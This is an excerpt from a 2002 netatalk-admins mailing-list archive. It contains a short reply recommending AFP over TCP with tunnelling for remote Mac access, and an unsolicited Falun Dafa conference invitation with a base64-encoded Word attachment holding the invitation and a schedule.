      : Lonnie_Cumberland@yahoo.com

 The Basis Express Virtual Office
               &
 Data Backup and Recovery Services

 URL: http://www.basis-express.com

"The Virtual Office without boundries!!!"





From netatalk.administrators-errors@umich.edu  Mon Mar  4 11:37:12 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from lovemetender.mr.itd.umich.edu (lovemetender.mr.itd.umich.edu [141.211.14.31])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA01913
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Mar 2002 11:37:12 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with LDAP id g24GbCQ00596
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Mar 2002 11:37:12 -0500 (EST)
Received: (from daemon@localhost)
	by lovemetender.mr.itd.umich.edu (3.6u) with X.500 id g24GbCF00584
	for netatalk.administrators-members@umich.edu; Mon, 4 Mar 2002 11:37:12 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by lovemetender.mr.itd.umich.edu (3.6u) with ESMTP id g24GbAG00562
	for <netatalk-admins@umich.edu>; Mon, 4 Mar 2002 11:37:11 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA05076;
	Mon, 4 Mar 2002 18:04:07 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 04 Mar 2002 17:36:56 +0100
Subject: Re: pptp and Netatalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lonnie Cumberland <lonnie@outstep.com>, <netatalk-admins@umich.edu>
Message-ID: <B8A96137.1CDD7%Thomas.Kaiser@phg-online.de>
In-Reply-To: <1035.141.217.131.75.1015256365.squirrel@www.outstep.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 4 Mar 2002 10:39:25 -0500 (EST), Lonnie Cumberland wrote:

> I want to let the users of MAC from across the web be able to access
> out server via AppleTalk and Netatalk.

Do you really want to use AppleTalk (as it is less efficient, especially
over WAN connections)? I would prefer AFP over TCP. You can do some
encryption things on different network layers, eg. via IPSec, PPTP or even
SSH.

This is not a netatalk specific issue, just with AFP in general.
(<http://groups.google.com/groups?q=tunnel+group:comp.protocols.appletalk&hl
=de&scoring=d>)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Mar  4 16:55:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA23877
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Mar 2002 16:55:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g24LtJd02959
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Mar 2002 16:55:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g24LtIB02952
	for netatalk.administrators-members@umich.edu; Mon, 4 Mar 2002 16:55:18 -0500 (EST)
Received: from tomts16-srv.bellnexxia.net (tomts16.bellnexxia.net [209.226.175.4])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g24LtHf02945
	for <netatalk-admins@umich.edu>; Mon, 4 Mar 2002 16:55:17 -0500 (EST)
Received: from yahoo.com ([64.229.184.12]) by tomts16-srv.bellnexxia.net
          (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP
          id <20020304215420.YZVZ19028.tomts16-srv.bellnexxia.net@yahoo.com>
          for <netatalk-admins@umich.edu>; Mon, 4 Mar 2002 16:54:20 -0500
Message-ID: <002c01c1c260$bf91b1d0$0cb8e540@sympatico.ca>
Reply-To: "Dr Guihua Li" <fsc_congress@hotmail.com>
From: "Dr Guihua Li" <fsc_congress@hotmail.com>
To: netatalk-admins@umich.edu
Subject: Invitation letter from the Organisation Committee of the  First World Congress of Future Science and Culture 
Date: Sat, 2 Mar 2002 22:08:52 -0500
Organization: Organisation Committee of First World Congress of Future Science and Culture
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0028_01C1C236.D6894F30"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

This is a multi-part message in MIME format.

------=_NextPart_000_0028_01C1C236.D6894F30
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0029_01C1C236.D6894F30"


------=_NextPart_001_0029_01C1C236.D6894F30
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

Dear Sir/Madam,                                                          =
 =20
=20

Many of us who came to work in the sciences or similar areas did so =
because we wanted to explore the unknown and gain more knowledge and =
ultimately make this world a better place.  It is undoubtedly true that =
modern science has brought immense benefits to humanity but also =
encountered many unsolved questions and problems including environmental =
pollution.=20

=20

Perhaps it is now time for a different approach:  Falun Dafa takes a =
holistic view of life and the universe. It builds on the insights of =
modern science and combines them with the insights from ancient Chinese =
science and culture. We, scientists who understand Falun Dafa, invite =
you to participate in the First World Congress of Future Science and =
Culture that will be held at Cambridge on March 9th and 10th of 2002. =
This congress will see state of the art research in this field and serve =
as a forum for discussing how these new ideas could exert a profound =
influence on the future science and culture of humankind.

=20

Renowned specialists and professors in diverse academic disciplines from =
many different parts of the world will be participating.  A schedule for =
March 9th is attached. On March 10 we will be holding an informal =
discussion session at which participants at the conference can raise =
issues with the speakers.=20

=20

We do hope that you will be able to find the time to attend. Please let =
us know if you have any questions.

=20

Yours sincerely,

=20

=20


=20

Dr Guihua Li

Organisation Committee of First World Congress of Future Science and =
Culture

fsc_congress@hotmail.com

http://www.fsc-congress.org


------=_NextPart_001_0029_01C1C236.D6894F30
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns:o =3D "urn:schemas-microsoft-com:office:office"><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dgb2312">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">Dear Sir/Madam, <SPAN=20
style=3D"mso-tab-count: 1">&nbsp;&nbsp; </SPAN><SPAN=20
style=3D"mso-tab-count: =
3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</SPAN><SPAN=20
style=3D"mso-tab-count: =
3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</SPAN><SPAN=20
style=3D"mso-tab-count: =
2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;=20
</SPAN><o:p></o:p></FONT></SPAN></DIV>
<DIV>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DHTML style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; FONT-FAMILY: 'Times New Roman'; =
mso-bidi-font-size: 10.0pt; mso-bidi-font-family: 'Courier New'">Many=20
of us who came to work in the sciences or similar areas did so because =
we wanted=20
to explore the unknown and gain more knowledge and ultimately make this =
world a=20
better place.<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>It is =
undoubtedly=20
true that modern science has brought immense benefits to humanity but =
also=20
encountered many unsolved questions and problems including environmental =

pollution. <o:p></o:p></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">Perhaps it is now time for a different =
approach:<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; </SPAN>Falun Dafa takes a holistic =
view of life=20
and the universe. It builds on the insights of modern science and =
combines them=20
with the insights from ancient Chinese science and culture. We, =
scientists who=20
understand Falun Dafa, invite you to participate in the First World =
Congress of=20
Future Science and Culture that will be held at Cambridge on March=20
9<SUP>th</SUP> and 10<SUP>th</SUP> of 2002. This congress will see state =
of the=20
art research in this field and serve as a forum for discussing how these =
new=20
ideas could exert a profound influence on the future science and culture =
of=20
humankind.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">Renowned specialists and professors in diverse =
academic=20
disciplines from many different parts of the world will be =
participating.<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; </SPAN>A schedule for March 9th is =
attached. On=20
March 10 we will be holding an informal discussion session at which =
participants=20
at the conference can raise issues with the speakers.=20
<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><FONT=20
face=3D"Times New Roman"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt">We do hope that =
you will be=20
able to find the time to attend</SPAN><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'">.=20
Please let us know if you have any =
questions.<o:p></o:p></SPAN></FONT></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman">Yours sincerely,<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman">&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial; mso-bidi-font-size: =
12.0pt; mso-bidi-font-family: 'Times New Roman'"><BR></SPAN><SPAN=20
lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman"><SPAN=20
style=3D"mso-spacerun: yes">&nbsp;</SPAN><o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman">Dr Guihua Li<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 11pt; mso-bidi-font-size: 12.0pt; =
mso-fareast-font-family: 'MS Song'"><FONT=20
face=3D"Times New Roman">Organisation Committee of First World Congress =
of Future=20
Science and Culture<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial; mso-bidi-font-size: =
12.0pt; mso-bidi-font-family: 'Times New Roman'"><A=20
href=3D"mailto:fsc_congress@hotmail.com">fsc_congress@hotmail.com<SPAN=20
style=3D"FONT-SIZE: 11pt; FONT-FAMILY: 'Times New Roman'; =
mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 'MS =
Song'"><o:p></o:p></SPAN></A></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0cm 0cm 0pt"><SPAN lang=3DEN-US=20
style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial; mso-bidi-font-size: =
12.0pt; mso-bidi-font-family: 'Times New Roman'"><A=20
href=3D"http://www.fsc-congress.org/">http://www.fsc-congress.org</A><o:p=
></o:p></SPAN></P></FONT></DIV></BODY></HTML>

------=_NextPart_001_0029_01C1C236.D6894F30--

------=_NextPart_000_0028_01C1C236.D6894F30
Content-Type: application/msword;
	name="Invitation-Peter2.doc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Invitation-Peter2.doc"

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAWgAAAAAAAAAA
EAAAXQAAAAEAAAD+////AAAAAFkAAAD/////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////s
pcEAWyAJBAAA+BK/AAAAAAAAEAAAAAAABAAASiMAAA4AYmpiauIA4gAAAAAAAAAAAAAAAAAAAAAA
AAAJBBYAIkIAAIBqAQCAagEAwhMAAAAAAAAeAAAAAAAAAAAAAAAAAAAABQAAAGQAAAD//w8AAAAA
AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAGwAAAAAANoDAAAAAAAA2gMAANoD
AAAAAAAA2gMAAAAAAAAKBQAAAAAAAAoFAAAAAAAACgUAABQAAAAAAAAAAAAAAB4FAAAAAAAABhIA
AAAAAAAGEgAAAAAAAAYSAAA4AAAAPhIAACQAAABiEgAAPAAAAB4FAAAAAAAAtTMAALQBAACqEgAA
OgAAAOQSAAAoAAAADBMAAAAAAAAMEwAAAAAAANgTAAAAAAAAQBcAAAAAAABAFwAAAAAAAEAXAAAA
AAAApDIAAAIAAACmMgAAAAAAAKYyAAAAAAAApjIAAAAAAACmMgAAAAAAAKYyAAAAAAAApjIAACQA
AABpNQAAIAIAAIk3AABiAAAAyjIAAKUAAAAAAAAAAAAAAAAAAAAAAAAACgUAAAAAAABAFwAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAaFwAABAAAAB4XAAAiAAAAQBcAAAAAAABAFwAAAAAAAMoyAAAAAAAA
JBsAAAAAAADaAwAAAAAAANoDAAAAAAAADBMAAAAAAAAAAAAAAAAAANgTAABCAwAAbzMAABYAAAAk
GwAAAAAAACQbAAAAAAAAJBsAAAAAAABAFwAA7AIAANoDAACGAAAADBMAAAAAAACWBAAAUgAAANgT
AAAAAAAApDIAAAAAAAAAAAAAAAAAACQbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAQBcAAAAAAACkMgAAAAAAACQbAAAmBAAAJBsAAAAAAABKHwAA
xgAAACAxAACQAAAAYAQAADYAAADoBAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2DEAAAAAAAAMEwAAzAAAAJ4SAAAMAAAAEF5I95K/
wQEeBQAA6AwAAAYSAAAAAAAALBoAAL4AAACwMQAAFAAAAAAAAAAAAAAA2DEAAMwAAACFMwAAMAAA
ALUzAAAAAAAAxDEAABQAAADrNwAAAAAAAOoaAAA6AAAA6zcAAAAAAADYMQAAAAAAACQbAAAAAAAA
HgUAAAAAAAAeBQAAAAAAANoDAAAAAAAA2gMAAAAAAADaAwAAAAAAANoDAAAAAAAAAgDZAAAADQ0N
CQkJCQkJCQkJMjYgRmVicnVhcnkgMjAwMg0NoA1EZWFyIFNpci9NYWRhbSwgCQkJCQkJCQkJDaAN
TWFueSBvZiB1cyB3aG8gY2FtZSB0byB3b3JrIGluIHRoZSBzY2llbmNlcyBvciBzaW1pbGFyIGFy
ZWFzIGRpZCBzbyBiZWNhdXNlIHdlIHdhbnRlZCB0byBleHBsb3JlIHRoZSB1bmtub3duIGFuZCBn
YWluIG1vcmUga25vd2xlZGdlIGFuZCB1bHRpbWF0ZWx5IG1ha2UgdGhpcyB3b3JsZCBhIGJldHRl
ciBwbGFjZS4gIEl0IGlzIHVuZG91YnRlZGx5IHRydWUgdGhhdCBtb2Rlcm4gc2NpZW5jZSBoYXMg
YnJvdWdodCBpbW1lbnNlIGJlbmVmaXRzIHRvIGh1bWFuaXR5IGJ1dCBhbHNvIGVuY291bnRlcmVk
IG1hbnkgdW5zb2x2ZWQgcXVlc3Rpb25zIGFuZCBwcm9ibGVtcyBpbmNsdWRpbmcgZW52aXJvbm1l
bnRhbCBwb2xsdXRpb24uIA2gDVBlcmhhcHMgaXQgaXMgbm93IHRpbWUgZm9yIGEgZGlmZmVyZW50
IGFwcHJvYWNoOiAgRmFsdW4gRGFmYSB0YWtlcyBhIGhvbGlzdGljIHZpZXcgb2YgbGlmZSBhbmQg
dGhlIHVuaXZlcnNlLiBJdCBidWlsZHMgb24gdGhlIGluc2lnaHRzIG9mIG1vZGVybiBzY2llbmNl
IGFuZCBjb21iaW5lcyB0aGVtIHdpdGggdGhlIGluc2lnaHRzIGZyb20gYW5jaWVudCBDaGluZXNl
IHNjaWVuY2UgYW5kIGN1bHR1cmUuIFdlLCBzY2llbnRpc3RzIHdobyB1bmRlcnN0YW5kIEZhbHVu
IERhZmEsIGludml0ZSB5b3UgdG8gcGFydGljaXBhdGUgaW4gdGhlIEZpcnN0IFdvcmxkIENvbmdy
ZXNzIG9mIEZ1dHVyZSBTY2llbmNlIGFuZCBDdWx0dXJlIHRoYXQgd2lsbCBiZSBoZWxkIGF0IENh
bWJyaWRnZSBvbiBNYXJjaCA5dGggYW5kIDEwdGggb2YgMjAwMi4gVGhpcyBjb25ncmVzcyB3aWxs
IHNlZSBzdGF0ZSBvZiB0aGUgYXJ0IHJlc2VhcmNoIGluIHRoaXMgZmllbGQgYW5kIHNlcnZlIGFz
IGEgZm9ydW0gZm9yIGRpc2N1c3NpbmcgaG93IHRoZXNlIG5ldyBpZGVhcyBjb3VsZCBleGVydCBh
IHByb2ZvdW5kIGluZmx1ZW5jZSBvbiB0aGUgZnV0dXJlIHNjaWVuY2UgYW5kIGN1bHR1cmUgb2Yg
aHVtYW5raW5kLg0NUmVub3duZWQgc3BlY2lhbGlzdHMgYW5kIHByb2Zlc3NvcnMgaW4gZGl2ZXJz
ZSBhY2FkZW1pYyBkaXNjaXBsaW5lcyBmcm9tIG1hbnkgZGlmZmVyZW50IHBhcnRzIG9mIHRoZSB3
b3JsZCB3aWxsIGJlIHBhcnRpY2lwYXRpbmcuICBBIHNjaGVkdWxlIGZvciBNYXJjaCA5dGggaXMg
YXR0YWNoZWQuIE9uIE1hcmNoIDEwIHdlIHdpbGwgYmUgaG9sZGluZyBhbiBpbmZvcm1hbCBkaXNj
dXNzaW9uIHNlc3Npb24gYXQgd2hpY2ggcGFydGljaXBhbnRzIGF0IHRoZSBjb25mZXJlbmNlIGNh
biByYWlzZSBpc3N1ZXMgd2l0aCB0aGUgc3BlYWtlcnMuIA0NV2UgZG8gaG9wZSB0aGF0IHlvdSB3
aWxsIGJlIGFibGUgdG8gZmluZCB0aGUgdGltZSB0byBhdHRlbmQuIFBsZWFzZSBsZXQgdXMga25v
dyBpZiB5b3UgaGF2ZSBhbnkgcXVlc3Rpb25zLg2gDVlvdXJzIHNpbmNlcmVseSwNDQ0LIA1EciBH
dWlodWEgTGkNT3JnYW5pc2F0aW9uIENvbW1pdHRlZSBvZiBGaXJzdCBXb3JsZCBDb25ncgBlAHMA
cwAgAG8AZgAgAEYAdQB0AHUAcgBlACAAUwBjAGkAZQBuAGMAZQAgAGEAbgBkACAAQwB1AGwAdAB1
AHIAZQANABMAIABIAFkAUABFAFIATABJAE4ASwAgACIAbQBhAGkAbAB0AG8AOgBmAHMAYwBfAGMA
bwBuAGcAcgBlAHMAcwBAAGgAbwB0AG0AYQBpAGwALgBjAG8AbQANACIAIAABABQAZgBzAGMAXwBj
AG8AbgBnAHIAZQBzAHMAQABoAG8AdABtAGEAaQBsAC4AYwBvAG0ADQAVABMAIABIAFkAUABFAFIA
TABJAE4ASwAgACIAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGYAcwBjAC0AYwBvAG4AZwByAGUAcwBz
AC4AbwByAGcAIgAgAAEAFABoAHQAdABwADoALwAvAHcAdwB3AC4AZgBzAGMALQBjAG8AbgBnAHIA
ZQBzAHMALgBvAHIAZwAVAA0ACwANAAwADQANAA0AQwBvAG4AZwByAGUAcwBzACAAUwBjAGgAZQBk
AHUAbABlAA0ADQBNAGEAcgBjAGgAIAA5ACwAIAAyADAAMAAyAA0ADQA5ABr/MAAwACAAYQBtACAA
CQBPAHAAZQBuAGkAbgBnACAAUgBlAG0AYQByAGsAcwANAA0AQgBpAG8AbABvAGcAeQAgAGEAbgBk
ACAATQBlAGQAaQBjAGkAbgBlAA0ADQBDAGgAYQBpAHIAOgAgAEQAaQBhAG4AbgBhACAAUgBvAGIA
ZQByAHQAcwAsACAAUABoAC4ARAAuACwAIABVAG4AaQB2AC4AIABvAGYAIABUAGUAeABhAHMAIABN
AC4AIABEAC4AIABBAG4AZABlAHIAcwBvAG4AIABDAGEAbgBjAGUAcgAgAEMAZQBuAHQAZQByACwA
IABIAG8AdQBzAHQAbwBuACwAIABVAFMAQQANAA0AOQAa/zEANQAgAGEAbQAgAAkATABpAGwAaQAg
AEYAZQBuAGcALAAgAE0ARAAsACAARABlAHAAYQByAHQAbQBlAG4AdAAgAG8AZgAgAE0AZQBkAGkA
YwBpAG4AZQAsACAAQgBhAHkAbABvAHIAIABDAG8AbABsAGUAZwBlACAAbwBmACAATQBlAGQAaQBj
AGkAbgBlACwAIABIAG8AdQBzAHQAbwBuACwAIABUAGUAeABhAHMALAAgAFUAUwBBACAAIAAgABwg
RwBlAG4AbwBtAGUALQB3AGkAZABlACAAcAByAG8AZgBpAGwAZQBzACAAbwBmACAAZwBlAG4AZQAg
AGUAeABwAHIAZQBzAHMAaQBvAG4AIABpAG4AIABuAGUAdQB0AHIAbwBwAGgAaQBsAHMAIABmAHIA
bwBtACAARgBhAGwAdQBuACAARwBvAG4AZwAgAHAAcgBhAGMAdABpAHQAaQBvAG4AZQByAHMAIABh
AG4AZAAgAG4AbwByAG0AYQBsACAAaABlAGEAbAB0AGgAeQAgAGMAbwBuAHQAcgBvAGwAcwAdIA0A
DQA5ABr/NQAwACAAYQBtACAACQBXAGkAbABsAGkAYQBtACAARgByAGEAbgBrAGwAaQBuACAATQBj
AEMAbwB5ACwAIABNAC4ARAAuACwAIABIAG8AbQBlAG8AcABhAHQAaABpAGMAIABwAGgAeQBzAGkA
YwBpAGEAbgAsACAAHCBNAGUAZABpAGMAYQBsACAAUAByAGEAYwB0AGkAYwBlACAAaQBuACAAdABo
AGUAIABOAGUAdwAgAEUAcgBhAB0gDQANADEAMAAa/zEAMAAgAGEAbQAJAE0AYQBpACAASABlACwA
IABNAEQALAAgAFAAaABEACwAIABEAGUAcABhAHIAdABtAGUAbgB0ACAAbwBmACAAUwB1AHIAZwBl
AHIAeQAsACAATgBlAHcAIABKAGUAcgBzAGUAeQAgAE0AZQBkAGkAYwBhAGwAIABTAGMAaABvAG8A
bAAsACAATgBlAHcAYQByAGsALAAgAE4ASgAsACAAVQBTAEEALAAgACAAHCBIAGUAYQBsAHQAaAAg
AHMAdQByAHYAZQB5ACAAbwBmACAARgBhAGwAdQBuACAARwBvAG4AZwAgAHAAcgBhAGMAdABpAHQA
aQBvAG4AZQByAHMAHSAgAA0ADQAxADAAGv8gADMAMAAgAGEAbQAJAFgAaQBhAG8AZABvAG4AZwAg
AFMAaABhAG8ALAAgAE0ARAAsACAAHCBXAGUAcwB0AGUAcgBuACAATQBlAGQAaQBjAGkAbgBlACwA
IABDAGgAaQBuAGUAcwBlACAATQBlAGQAaQBjAGkAbgBlACwAIABBAGMAdQBwAHUAbgBjAHQAdQBy
AGUALAAgAFEAaQBnAG8AbgBnACAAYQBuAGQAIABDAHUAbAB0AGkAdgBhAHQAaQBvAG4AIABQAHIA
YQBjAHQAaQBjAGUAHSANAA0AMQAwABr/NQAwACAAYQBtAAkAQgByAGUAYQBrAA0ADQBOAGUAdwAg
AEMAbwBuAGMAZQBwAHQAcwAgAGkAbgAgAFMAYwBpAGUAbgBjAGUADQANAEMAaABhAGkAcgA6ACAA
UwBoAGkAeQB1ACAAWgBoAG8AdQAsACAAUABoAC4ARAAsACAAVQBuAGkAdgBlAHIAcwBpAHQAeQAg
AG8AZgAgAFAAZQBuAG4AcwB5AGwAdgBhAG4AaQBhACwAIABQAGgAaQBsAGEAZABlAGwAcABoAGkA
YQAsACAAVQBTAEEADQANADEAMQAa/zAAMAAgAGEAbQAJAEQAYQBuAGkAZQBsACAASAB1AGEAbgBn
AAz/HCBTAGMAaQBlAG4AYwBlABkgcwAgAFcAYQB5ACAATwB1AHQAHSANAA0AMQAxABr/MgAwACAA
YQBtAAkAUwBoAGkAeQB1ACAAWgBoAG8AdQAsACAAUABoAC4ARAAuACwAIABVAG4AaQB2AGUAcgBz
AGkAdAB5ACAAbwBmACAAUABlAG4AbgBzAHkAbAB2AGEAbgBpAGEALAAgAFAAaABpAGwAYQBkAGUA
bABwAGgAaQBhACwAIABVAFMAQQAsACAAHCAgAFAAcgBvAHAAaABlAGMAeQAsACAAVABpAG0AZQAg
AGEAbgBkACAAUwBwAGEAYwBlAB0gDQANADEAMQAa/zQAMAAgAGEAbQAJAE4AYQB0AGEAbAB5ACAA
VABlAHAAbABpAHQAcwBrAHkALAAgAFAAaAAuAEQALgAsACAATgB1AGMAbABlAGEAcgAgAE0AZQBk
AGkAYwBpAG4AZQAgAFQAZQBjAGgAbgBvAGwAbwBnAGkAcwB0ACwAIABSAGUAdAAuACAAHCBCAHIA
ZQBhAGsAaQBuAGcAIABUAGgAcgBvAHUAZwBoACAAdABoAGUAIABDAG8AbgB2AGUAbgB0AGkAbwBu
AGEAbAAgAFMAYwBpAGUAbgB0AGkAZgBpAGMAIABQAGEAcgBhAGQAaQBnAG0AHSANAA0AMQAyADoA
MAAwACAAbgBvAG8AbgAJAEQAcgAuACAAUgBhAGkAbQB1AG4AZAAgAEsAaQByAG4AZQByACwAIAAc
IEYAYQBsAHUAbgAgAEQAYQBmAGEAIABhAG4AZAAgAE0AbwBkAGUAcgBuACAAUwBjAGkAZQBuAGMA
ZQAdIA0ADQANAA0ADQANAA0AMQAyADoAMgAwACAAcABtAC0AMgA6ADAAMAAgAHAAbQAgAAkAIABM
AHUAbgBjAGgAIABCAHIAZQBhAGsADQANAFMAbwBjAGkAYQBsACAAYQBuAGQAIABFAG4AdgBpAHIA
bwBuAG0AZQBuAHQAYQBsACAAUwBjAGkAZQBuAGMAZQAgAA0ADQBDAGgAYQBpAHIAOgAgAEoAaQBu
AGgAdQBhACAAWgBoAGEAbgBnACwAIABQAGgALgBEAC4ALAAgAFAAcgBvAGYAZQBzAHMAbwByACAA
bwBmACAATgBlAHcAcwAgAGEAbgBkACAATQBlAGQAaQBhACwAIABUAGEAaQB3AGEAbgAgAFUAbgBp
AHYAZQByAHMAaQB0AHkADQANADIAGv8wADAAIABwAG0ACQBEAHIALgAgAEgAdQBpAGwAaQBuACAA
